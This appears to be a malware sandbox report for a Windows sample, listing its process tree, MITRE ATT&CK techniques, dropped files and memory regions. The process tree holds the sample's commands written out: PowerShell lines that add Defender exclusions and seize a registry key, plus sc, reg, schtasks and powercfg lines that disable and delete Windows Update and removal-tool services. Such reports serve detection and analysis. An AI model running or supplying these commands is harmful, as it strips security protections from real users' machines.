C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Discovers running processes
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\WinSysKdrv.exe"C:\Users\Admin\AppData\Local\Temp\WinSysKdrv.exe"1⤵
-
C:\ProgramData\Microsoft\Network\Diagnostics\73BF5F50\LockAppHost14a02b.exeC:\ProgramData\Microsoft\Network\Diagnostics\73BF5F50\LockAppHost14a02b.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\EmbeddedDriverService.sysC:\Users\Admin\AppData\Local\Temp\EmbeddedDriverService.sys1⤵
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x00000000000004E4 0x00000000000004F01⤵
-
C:\Windows\System32\nslookup.exe"C:\Windows\System32\nslookup.exe"1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData, $env:TEMP) -ExclusionExtension @('.exe', '.sys') -Force2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $key='HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc';$acl=Get-Acl $key;$admin=New-Object System.Security.Principal.NTAccount('BUILTIN','Administrators');$acl.SetOwner($admin);$rule=New-Object System.Security.AccessControl.RegistryAccessRule($admin,'FullControl','Allow');$acl.SetAccessRule($rule);Set-Acl $key $acl;Set-ItemProperty $key -Name 'Start' -Value 4 -Type DWord2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WaaSMedicSvc start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WaaSMedicSvc2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config UsoSvc start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop UsoSvc2⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" "HKLM\SYSTEM\CurrentControlSet\Services\uqefbdvlez" /s /f2⤵
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f2⤵
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WaaSMedicSvc start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WaaSMedicSvc2⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" "HKLM\SYSTEM\CurrentControlSet\Services\ahnvylobzp" /s /f2⤵
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f2⤵
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wuauserv start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wuauserv2⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" "HKLM\SYSTEM\CurrentControlSet\Services\dwnrbzhywk" /s /f2⤵
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f2⤵
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config BITS start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop BITS2⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\BITS" "HKLM\SYSTEM\CurrentControlSet\Services\jdnnfqcgke" /s /f2⤵
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\BITS" /f2⤵
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config dosvc start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop dosvc2⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" "HKLM\SYSTEM\CurrentControlSet\Services\qotkaslpki" /s /f2⤵
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /Disable2⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /Disable2⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /Disable2⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Scan" /Disable2⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Scan Static Task" /Disable2⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Work" /Disable2⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work" /Disable2⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\USO_UxBroker" /Disable2⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Reboot_AC" /Disable2⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Reboot_Battery" /Disable2⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WaaSMedic\PerformRemediation" /Disable2⤵
-
-
C:\Windows\System32\powercfg.exe"C:\Windows\System32\powercfg.exe" /x -hibernate-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\System32\powercfg.exe"C:\Windows\System32\powercfg.exe" /x -hibernate-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\System32\powercfg.exe"C:\Windows\System32\powercfg.exe" /x -standby-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\System32\powercfg.exe"C:\Windows\System32\powercfg.exe" /x -standby-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\MRT\MRT_HB" /Disable2⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows Removal Tools\MRT_HB" /Disable2⤵
-
-
C:\Windows\System32\svchost.exe"C:\Windows\System32\svchost.exe"1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
3Service Execution
3Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
3Windows Service
3Event Triggered Execution
1Image File Execution Options Injection
1Power Settings
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
3Windows Service
3Event Triggered Execution
1Image File Execution Options Injection
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
File and Directory Permissions Modification
1Impair Defenses
2Disable or Modify Tools
1Indicator Removal
1Clear Persistence
1Modify Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
e5979bb.rbs
Synaptics.exe
._cache_Synaptics.exe
365VPN32.exe
ACRSYSACRPRDCT.XRM-MS
slmgr.vbs
systemcpl.dll
bootrest.exe
Display.dll.mui
shell32.dll.mui
themecpl.dll.mui
shell32.dll.mui
Display.dll.mui
themecpl.dll.mui
themecpl.dll.mui
Printing-Spooler-Pmc-Licensing-ppdlic.xrm-ms
Security-Licensing-SLC-ppdlic.xrm-ms
Shell-InBoxGames-FreeCell-ppdlic.xrm-ms
Shell-InBoxGames-Hearts-ppdlic.xrm-ms
Shell-InBoxGames-Minesweeper-ppdlic.xrm-ms
Shell-InBoxGames-PurblePlace-ppdlic.xrm-ms
Shell-InBoxGames-Solitaire-ppdlic.xrm-ms
Shell-InBoxGames-SpiderSolitaire-ppdlic.xrm-ms
WindowsAnytimeUpgrade-ppdlic.xrm-ms
parentalcontrols-ppdlic.xrm-ms
CaptureWizard-ppdlic.xrm-ms
DirectExperience-ppdlic.xrm-ms
Microsoft-Windows-AuxiliaryDisplay-ppdlic.xrm-ms
Microsoft-Windows-DOT11PREF-ppdlic.xrm-ms
MicrosoftWindowsSafeDocsMain-ppdlic.xrm-ms
MobilePCMobilityCenter-ppdlic.xrm-ms
MobilePCPresentationSettings-ppdlic.xrm-ms
MovieMaker-ppdlic.xrm-ms
NetworkProjection-ppdlic.xrm-ms
PeerToPeerAdhocMeetings-ppdlic.xrm-ms
PeerToPeerBase-ppdlic.xrm-ms
SLC-Component-SKU-OCUR-ppdlic.xrm-ms
Security-Licensing-SLC-Component-SKU-OCUR-ppdlic.xrm-ms
TabletPC-UIHub-ppdlic.xrm-ms
TabletPC-tabbtn-ppdlic.xrm-ms
TabletPCAccessories-ppdlic.xrm-ms
TabletPCCoreInkRecognition-ppdlic.xrm-ms
TabletPCInputPanel-ppdlic.xrm-ms
TabletPCInputPersonalization-ppdlic.xrm-ms
TabletPCPlatformInput-core-ppdlic.xrm-ms
WMPPlayer-ppdlic.xrm-ms
WindowsSearchEngine-Licensing-ppdlic.xrm-ms
ACLUIFileFolderTool-ppdlic.xrm-ms
GroupPolicy-License-ppdlic.xrm-ms
IASLicensing-ppdlic.xrm-ms
Kernel-ppdlic.xrm-ms
LSA-License-ppdlic.xrm-ms
Microsoft-Windows-Core-ppdlic.xrm-ms
Microsoft-Windows-DesktopWindowManager-Core-ppdlic.xrm-ms
Microsoft-Windows-InternetConnectionSharingConfig-ppdlic.xrm-ms
Microsoft-Windows-NetworkBridge-ppdlic.xrm-ms
Microsoft-Windows-OfflineFiles-Core-ppdlic.xrm-ms
PhotoMinFeature-ppdlic.xrm-ms
Printing-Spooler-Core-Localspl-Licensing-ppdlic.xrm-ms
Printing-Spooler-Core-Spoolss-Licensing-ppdlic.xrm-ms
RasBase-ppdlic.xrm-ms
SMBServer-ppdlic.xrm-ms
TerminalServices-DeviceRedirection-Licenses-ppdlic.xrm-ms
TerminalServices-RemoteConnectionManager-License-ppdlic.xrm-ms
TerminalServices-RemoteConnectionManager-UiEffects-ppdlic.xrm-ms
Winlogon-Licensing-ppdlic.xrm-ms
WorkstationService-ppdlic.xrm-ms
explorer-ppdlic.xrm-ms
feclient-ppdlic.xrm-ms
shell32-license-ppdlic.xrm-ms
Security-SPP-Component-SKU-Enterprise-ppdlic.xrm-ms
Security-SPP-Component-SKU-Enterprise-ul-oob.xrm-ms
Security-SPP-Component-SKU-Enterprise-ul-phn.xrm-ms
ACLUIFileFolderTool-ppdlic.xrm-ms
ChangeDesktopBackground-ppdlic.xrm-ms
DNS-Client-license-ppdlic.xrm-ms
DirectExperience-ppdlic.xrm-ms
GroupPolicy-License-ppdlic.xrm-ms
IASLicensing-ppdlic.xrm-ms
Kernel-ppdlic.xrm-ms
LSA-License-ppdlic.xrm-ms
Microsoft-Windows-Core-ppdlic.xrm-ms
Microsoft-Windows-DOT11PREF-ppdlic.xrm-ms
Microsoft-Windows-DesktopWindowManager-Core-ppdlic.xrm-ms
Microsoft-Windows-Fax-Common-ppdlic.xrm-ms
Microsoft-Windows-InternetConnectionSharingConfig-ppdlic.xrm-ms
Microsoft-Windows-NetworkBridge-ppdlic.xrm-ms
Microsoft-Windows-QWAVE-ppdlic.xrm-ms
Microsoft-Windows-SensorsLicense-ppdlic.xrm-ms
MicrosoftWindowsSafeDocsMain-ppdlic.xrm-ms
MobilePCMobilityCenter-ppdlic.xrm-ms
NetworkSecurity-ppdlic.xrm-ms
PeerToPeerBase-ppdlic.xrm-ms
PhotoMinFeature-ppdlic.xrm-ms
Printing-Spooler-Core-Localspl-Licensing-ppdlic.xrm-ms
Printing-Spooler-Core-Spoolss-Licensing-ppdlic.xrm-ms
RasBase-ppdlic.xrm-ms
SLC-Component-SKU-OCUR-ppdlic.xrm-ms
SMBServer-ppdlic.xrm-ms
SecureStartupFeature-ppdlic.xrm-ms
Security-SPP-Component-SKU-OCUR-ppdlic.xrm-ms
Security-SPP-UX-ppdlic.xrm-ms
Security-SPP-ppdlic.xrm-ms
TabletPC-UIHub-ppdlic.xrm-ms
TabletPC-tabbtn-ppdlic.xrm-ms
TabletPCPlatformInput-core-ppdlic.xrm-ms
TerminalServices-RemoteConnectionManager-License-ppdlic.xrm-ms
TerminalServices-RemoteConnectionManager-UiEffects-ppdlic.xrm-ms
VirtualPC-licensing-ppdlic.xrm-ms
WMPPlayer-ppdlic.xrm-ms
WindowsSearchComponent-ppdlic.xrm-ms
WorkstationService-ppdlic.xrm-ms
appid-ppdlic.xrm-ms
explorer-ppdlic.xrm-ms
feclient-ppdlic.xrm-ms
msac3enc-ppdlic.xrm-ms
msmpeg2adec-ppdlic.xrm-ms
msmpeg2enc-ppdlic.xrm-ms
msmpeg2vdec-ppdlic.xrm-ms
parentalcontrols-ppdlic.xrm-ms
provsvc-license-ppdlic.xrm-ms
shell-homegroup-ppdlic.xrm-ms
shell32-license-ppdlic.xrm-ms
volmgrx-ppdlic.xrm-ms
MCLicense-ppdlic.xrm-ms
MathRecognizerEventsLicensing-ppdlic.xrm-ms
MediaCenter-ppdlic.xrm-ms
Microsoft-Windows-AuxiliaryDisplay-ppdlic.xrm-ms
OMD-API-ppdlic.xrm-ms
Personalization-ppdlic.xrm-ms
SnippingToolLicensing-ppdlic.xrm-ms
StickyNotesLicensing-ppdlic.xrm-ms
TabletPC-MathInputLicensing-ppdlic.xrm-ms
TabletPCAccessories-ppdlic.xrm-ms
TabletPCCoreInkRecognitionLicensing-ppdlic.xrm-ms
TabletPCInputPanel-ppdlic.xrm-ms
TabletPCInputPersonalization-ppdlic.xrm-ms
Microsoft-Windows-OfflineFiles-Core-ppdlic.xrm-ms
MobilePCPresentationSettings-ppdlic.xrm-ms
NetworkProjection-ppdlic.xrm-ms
PeerDist-Common-ppdlic.xrm-ms
Printing-Spooler-Pmc-Licensing-ppdlic.xrm-ms
Shell-InBoxGames-FreeCell-ppdlic.xrm-ms
Shell-InBoxGames-Hearts-ppdlic.xrm-ms
Shell-InBoxGames-Minesweeper-ppdlic.xrm-ms
Shell-InBoxGames-PurblePlace-ppdlic.xrm-ms
Shell-InBoxGames-Solitaire-ppdlic.xrm-ms
Shell-InBoxGames-SpiderSolitaire-ppdlic.xrm-ms
TerminalServices-DeviceRedirection-Licenses-ppdlic.xrm-ms
TerminalServices-RemoteApplications-ClientSku-ppdlic.xrm-ms
VirtualXP-licensing-ppdlic.xrm-ms
Security-SPP-Component-SKU-HomeBasic-ppdlic.xrm-ms
WindowsAnytimeUpgrade-ppdlic.xrm-ms
Security-SPP-Component-SKU-HomeBasic-ul-oob.xrm-ms
Security-SPP-Component-SKU-HomeBasic-ul-phn.xrm-ms
client-issuance-ul-oem.xrm-ms
Security-SPP-Component-SKU-HomePremium-ppdlic.xrm-ms
Shell-InBoxGames-Shanghai-ppdlic.xrm-ms
Shell-MultiplayerInboxGames-Backgammon-ppdlic.xrm-ms
Shell-MultiplayerInboxGames-Checkers-ppdlic.xrm-ms
Shell-MultiplayerInboxGames-Common-ppdlic.xrm-ms
Shell-MultiplayerInboxGames-Spades-ppdlic.xrm-ms
Shell-PremiumInBoxGames-Chess-ppdlic.xrm-ms
client-issuance-ul-phn.xrm-ms
client-issuance-ul.xrm-ms
ACLUIFileFolderTool-ppdlic.xrm-ms
ChangeDesktopBackground-ppdlic.xrm-ms
DNS-Client-license-ppdlic.xrm-ms
GroupPolicy-License-ppdlic.xrm-ms
IASLicensing-ppdlic.xrm-ms
Kernel-ppdlic.xrm-ms
LSA-License-ppdlic.xrm-ms
Microsoft-Windows-Core-ppdlic.xrm-ms
Microsoft-Windows-DOT11PREF-ppdlic.xrm-ms
Microsoft-Windows-DesktopWindowManager-Core-ppdlic.xrm-ms
Microsoft-Windows-Fax-Common-ppdlic.xrm-ms
Microsoft-Windows-InternetConnectionSharingConfig-ppdlic.xrm-ms
Microsoft-Windows-NetworkBridge-ppdlic.xrm-ms
Microsoft-Windows-QWAVE-ppdlic.xrm-ms
MicrosoftWindowsSafeDocsMain-ppdlic.xrm-ms
NetworkSecurity-ppdlic.xrm-ms
PeerToPeerBase-ppdlic.xrm-ms
PhotoMinFeature-ppdlic.xrm-ms
Printing-Spooler-Core-Localspl-Licensing-ppdlic.xrm-ms
Printing-Spooler-Core-Spoolss-Licensing-ppdlic.xrm-ms
RasBase-ppdlic.xrm-ms
SLC-Component-SKU-OCUR-ppdlic.xrm-ms
SMBServer-ppdlic.xrm-ms
SecureStartupFeature-ppdlic.xrm-ms
Security-SPP-Component-SKU-OCUR-ppdlic.xrm-ms
Security-SPP-UX-ppdlic.xrm-ms
TabletPC-UIHub-ppdlic.xrm-ms
TabletPC-tabbtn-ppdlic.xrm-ms
TabletPCPlatformInput-core-ppdlic.xrm-ms
TerminalServices-RemoteConnectionManager-License-ppdlic.xrm-ms
TerminalServices-RemoteConnectionManager-UiEffects-ppdlic.xrm-ms
WMPPlayer-ppdlic.xrm-ms
WindowsSearchComponent-ppdlic.xrm-ms
WorkstationService-ppdlic.xrm-ms
appid-ppdlic.xrm-ms
explorer-ppdlic.xrm-ms
feclient-ppdlic.xrm-ms
msac3enc-ppdlic.xrm-ms
msmpeg2adec-ppdlic.xrm-ms
msmpeg2enc-ppdlic.xrm-ms
msmpeg2vdec-ppdlic.xrm-ms
parentalcontrols-ppdlic.xrm-ms
provsvc-license-ppdlic.xrm-ms
shell-homegroup-ppdlic.xrm-ms
shell32-license-ppdlic.xrm-ms
volmgrx-ppdlic.xrm-ms
Security-SPP-Component-SKU-Starter-ppdlic.xrm-ms
Shell-InBoxGames-FreeCell-ppdlic.xrm-ms
Shell-InBoxGames-Hearts-ppdlic.xrm-ms
Shell-InBoxGames-Minesweeper-ppdlic.xrm-ms
Shell-InBoxGames-PurblePlace-ppdlic.xrm-ms
Shell-InBoxGames-Solitaire-ppdlic.xrm-ms
Shell-InBoxGames-SpiderSolitaire-ppdlic.xrm-ms
WindowsAnytimeUpgrade-ppdlic.xrm-ms
Security-SPP-Component-SKU-Professional-ppdlic.xrm-ms
Security-SPP-Component-SKU-Ultimate-ppdlic.xrm-ms
9C685E00
C116.bat
MalinovkaLauncher.exe
NAMUVPN32.exe
NAMUVPN7.exe
ScreenConnect.ClientSetup.exe
Update.exe
Windows.x64.silent.CPU.exe
file_a8b257b458693ac9.exe
fta.exe
klr.exe
steamcmd.exe
cmstp.exe
namu864.cmp
namu864.inf
MSI37B0.tmp
Microsoft.Deployment.WindowsInstaller.dll
ScreenConnect.Core.dll
ScreenConnect.InstallerActions.dll
ScreenConnect.Windows.dll
A.I.exe
ScreenConnect.ClientSetup.msi
blank.aes
__PSScriptPolicyTest_h1ejrj4r.qdi.ps1
xQpdWnAD.xlsm
AQS-DataUpdater.exe
AQS-data.exe
namu864.exe
MSI7B03.tmp
01.exe
02.08.2022.exe
A.I_1003H.exe
Aquarius.exe
Client-built.exe
PDFConverter_P2W154-zx-666.exe
QUpdate.exe
ScreenConnect.ClientSetup.exe
Service.exe
SshCracker.exe
TempSpoofer.exe
a.exe
kdmapper_Release.exe
mKM65Cf6QNqeOVw9.exe
patcher.exe
pkexU0YtxaR3.exe
qcoin128.exe
qcoin139.exe
qcoin139.exe
srtware.exe
metadata-2
{0fb311f5-82c3-4544-a97c-f5e2e362b851}_OnDiskSnapshotProp
memory/544-748-0x00007FFC9FA40000-0x00007FFC9FA6C000-memory.dmp
memory/544-838-0x00007FFC9EC50000-0x00007FFC9EC68000-memory.dmp
memory/544-836-0x00007FFCCA170000-0x00007FFCCA17D000-memory.dmp
memory/544-842-0x00007FFCA1CF0000-0x00007FFCA1CFD000-memory.dmp
memory/544-764-0x00007FFC9EA80000-0x00007FFC9EAAE000-memory.dmp
memory/544-843-0x00007FFC9EA80000-0x00007FFC9EAAE000-memory.dmp
memory/544-844-0x00007FFC9E9C0000-0x00007FFC9EA77000-memory.dmp
memory/544-845-0x00007FFC9C670000-0x00007FFC9C9E7000-memory.dmp
memory/544-841-0x00007FFC9FA90000-0x00007FFC9FAA9000-memory.dmp
memory/544-767-0x00007FFCA33D0000-0x00007FFCA33F4000-memory.dmp
memory/544-765-0x00007FFC9D840000-0x00007FFC9DCA5000-memory.dmp
memory/544-766-0x00007FFC9E9C0000-0x00007FFC9EA77000-memory.dmp
memory/544-785-0x00007FFCCA180000-0x00007FFCCA195000-memory.dmp
memory/544-820-0x00007FFC9D840000-0x00007FFC9DCA5000-memory.dmp
memory/544-837-0x00007FFC9FA40000-0x00007FFC9FA6C000-memory.dmp
memory/544-796-0x00007FFCA3750000-0x00007FFCA3868000-memory.dmp
memory/544-763-0x00007FFCA1CF0000-0x00007FFCA1CFD000-memory.dmp
memory/544-749-0x00007FFC9EC50000-0x00007FFC9EC68000-memory.dmp
memory/544-786-0x00007FFCCA170000-0x00007FFCCA17D000-memory.dmp
memory/544-750-0x00007FFC9EC30000-0x00007FFC9EC4E000-memory.dmp
memory/544-787-0x00007FFC9EC30000-0x00007FFC9EC4E000-memory.dmp
memory/544-769-0x0000017151B30000-0x0000017151EA7000-memory.dmp
memory/544-731-0x00007FFC9D840000-0x00007FFC9DCA5000-memory.dmp
memory/544-733-0x00007FFCA33D0000-0x00007FFCA33F4000-memory.dmp
memory/544-834-0x00007FFCA3750000-0x00007FFCA3868000-memory.dmp
memory/544-821-0x00007FFCA33D0000-0x00007FFCA33F4000-memory.dmp
memory/544-840-0x00007FFC9EAB0000-0x00007FFC9EC21000-memory.dmp
memory/544-768-0x00007FFC9C670000-0x00007FFC9C9E7000-memory.dmp
memory/544-835-0x00007FFCCA180000-0x00007FFCCA195000-memory.dmp
memory/544-839-0x00007FFC9EC30000-0x00007FFC9EC4E000-memory.dmp
memory/544-734-0x00007FFCAA440000-0x00007FFCAA44F000-memory.dmp
memory/544-761-0x00007FFC9EAB0000-0x00007FFC9EC21000-memory.dmp
memory/544-822-0x00007FFCAA440000-0x00007FFCAA44F000-memory.dmp
memory/544-806-0x00007FFC9EAB0000-0x00007FFC9EC21000-memory.dmp
memory/544-762-0x00007FFC9FA90000-0x00007FFC9FAA9000-memory.dmp
memory/568-199-0x00007FFC90A30000-0x00007FFC90A40000-memory.dmp
memory/568-201-0x00007FFC90A30000-0x00007FFC90A40000-memory.dmp
memory/568-202-0x00007FFC90A30000-0x00007FFC90A40000-memory.dmp
memory/568-203-0x00007FFC90A30000-0x00007FFC90A40000-memory.dmp
memory/568-200-0x00007FFC90A30000-0x00007FFC90A40000-memory.dmp
memory/568-204-0x00007FFC8E6F0000-0x00007FFC8E700000-memory.dmp
memory/568-205-0x00007FFC8E6F0000-0x00007FFC8E700000-memory.dmp
memory/1160-725-0x000000001BA00000-0x000000001BA50000-memory.dmp
memory/1160-728-0x000000001BB10000-0x000000001BBC2000-memory.dmp
memory/1160-645-0x00000000002D0000-0x00000000005F4000-memory.dmp
memory/1560-557-0x0000000000010000-0x0000000000020000-memory.dmp
memory/1564-131-0x0000000000400000-0x00000000004C5000-memory.dmp
memory/1564-197-0x0000000000400000-0x00000000004C5000-memory.dmp
memory/1564-132-0x0000000000400000-0x00000000004C5000-memory.dmp
memory/1576-860-0x000002664B0C0000-0x000002664B0CA000-memory.dmp
memory/1576-803-0x000002664B0B0000-0x000002664B0BA000-memory.dmp
memory/1576-807-0x000002664B120000-0x000002664B13C000-memory.dmp
memory/1612-956-0x00007FF6F2F70000-0x00007FF6F30B7000-memory.dmp
memory/1612-965-0x00007FF6F2F70000-0x00007FF6F30B7000-memory.dmp
memory/2032-492-0x000000006F890000-0x000000006F8A0000-memory.dmp
memory/2032-517-0x0000000000400000-0x00000000004EC000-memory.dmp
memory/2032-491-0x0000000000400000-0x00000000004EC000-memory.dmp
memory/2844-366-0x0000000005040000-0x00000000050CC000-memory.dmp
memory/2844-365-0x00000000053E0000-0x00000000056D2000-memory.dmp
memory/2844-368-0x00000000050E0000-0x000000000528C000-memory.dmp
memory/2844-367-0x0000000002A80000-0x0000000002AA2000-memory.dmp
memory/3336-330-0x0000000000400000-0x0000000000487000-memory.dmp
memory/3336-411-0x0000000000400000-0x0000000000487000-memory.dmp
memory/3484-268-0x0000000005EC0000-0x00000000061EA000-memory.dmp
memory/3484-267-0x0000000003390000-0x0000000003398000-memory.dmp
memory/3484-270-0x0000000005B20000-0x0000000005B42000-memory.dmp
memory/3484-269-0x0000000005B90000-0x0000000005C1E000-memory.dmp
memory/3484-271-0x0000000005C20000-0x0000000005DCC000-memory.dmp
memory/3484-272-0x00000000067A0000-0x0000000006D46000-memory.dmp
memory/3556-946-0x0000000000400000-0x00000000004C5000-memory.dmp
memory/3556-281-0x0000000000400000-0x00000000004C5000-memory.dmp
memory/3556-438-0x0000000000400000-0x00000000004C5000-memory.dmp
memory/3596-729-0x00007FFCA1DB0000-0x00007FFCA1EC8000-memory.dmp
memory/3596-752-0x00007FFCA2D00000-0x00007FFCA2DB7000-memory.dmp
memory/3596-661-0x000002495CE00000-0x000002495D177000-memory.dmp
memory/3596-730-0x00007FFCA96F0000-0x00007FFCA970E000-memory.dmp
memory/3596-760-0x00007FFC9FBB0000-0x00007FFC9FF27000-memory.dmp
memory/3596-668-0x00007FFCB2BB0000-0x00007FFCB2BBD000-memory.dmp
memory/3596-669-0x00007FFCA73D0000-0x00007FFCA73F4000-memory.dmp
memory/3596-670-0x00007FFCA7290000-0x00007FFCA72A5000-memory.dmp
memory/3596-753-0x000002495CE00000-0x000002495D177000-memory.dmp
memory/3596-646-0x00007FFCA34C0000-0x00007FFCA3925000-memory.dmp
memory/3596-647-0x00007FFCA73D0000-0x00007FFCA73F4000-memory.dmp
memory/3596-779-0x00007FFCA72B0000-0x00007FFCA72DE000-memory.dmp
memory/3596-747-0x00007FFCA9610000-0x00007FFCA9629000-memory.dmp
memory/3596-648-0x00007FFCC9770000-0x00007FFCC977F000-memory.dmp
memory/3596-770-0x00007FFCA34C0000-0x00007FFCA3925000-memory.dmp
memory/3596-662-0x00007FFCA34C0000-0x00007FFCA3925000-memory.dmp
memory/3596-659-0x00007FFCA72B0000-0x00007FFCA72DE000-memory.dmp
memory/3596-771-0x00007FFCA73D0000-0x00007FFCA73F4000-memory.dmp
memory/3596-660-0x00007FFCA2D00000-0x00007FFCA2DB7000-memory.dmp
memory/3596-780-0x00007FFCA2D00000-0x00007FFCA2DB7000-memory.dmp
memory/3596-657-0x00007FFCA9610000-0x00007FFCA9629000-memory.dmp
memory/3596-655-0x00007FFCA96F0000-0x00007FFCA970E000-memory.dmp
memory/3596-654-0x00007FFCAA6E0000-0x00007FFCAA6F8000-memory.dmp
memory/3596-735-0x00007FFCA2DC0000-0x00007FFCA2F31000-memory.dmp
memory/3596-656-0x00007FFCA2DC0000-0x00007FFCA2F31000-memory.dmp
memory/3596-772-0x00007FFCC9770000-0x00007FFCC977F000-memory.dmp
memory/3596-784-0x00007FFCA1DB0000-0x00007FFCA1EC8000-memory.dmp
memory/3596-778-0x00007FFCB5230000-0x00007FFCB523D000-memory.dmp
memory/3596-773-0x00007FFCA72E0000-0x00007FFCA730C000-memory.dmp
memory/3596-751-0x00007FFCA72B0000-0x00007FFCA72DE000-memory.dmp
memory/3596-774-0x00007FFCAA6E0000-0x00007FFCAA6F8000-memory.dmp
memory/3596-783-0x00007FFCB2BB0000-0x00007FFCB2BBD000-memory.dmp
memory/3596-667-0x00007FFC9FBB0000-0x00007FFC9FF27000-memory.dmp
memory/3596-775-0x00007FFCA96F0000-0x00007FFCA970E000-memory.dmp
memory/3596-782-0x00007FFCA7290000-0x00007FFCA72A5000-memory.dmp
memory/3596-776-0x00007FFCA2DC0000-0x00007FFCA2F31000-memory.dmp
memory/3596-781-0x00007FFC9FBB0000-0x00007FFC9FF27000-memory.dmp
memory/3596-653-0x00007FFCA72E0000-0x00007FFCA730C000-memory.dmp
memory/3596-777-0x00007FFCA9610000-0x00007FFCA9629000-memory.dmp
memory/3596-658-0x00007FFCB5230000-0x00007FFCB523D000-memory.dmp
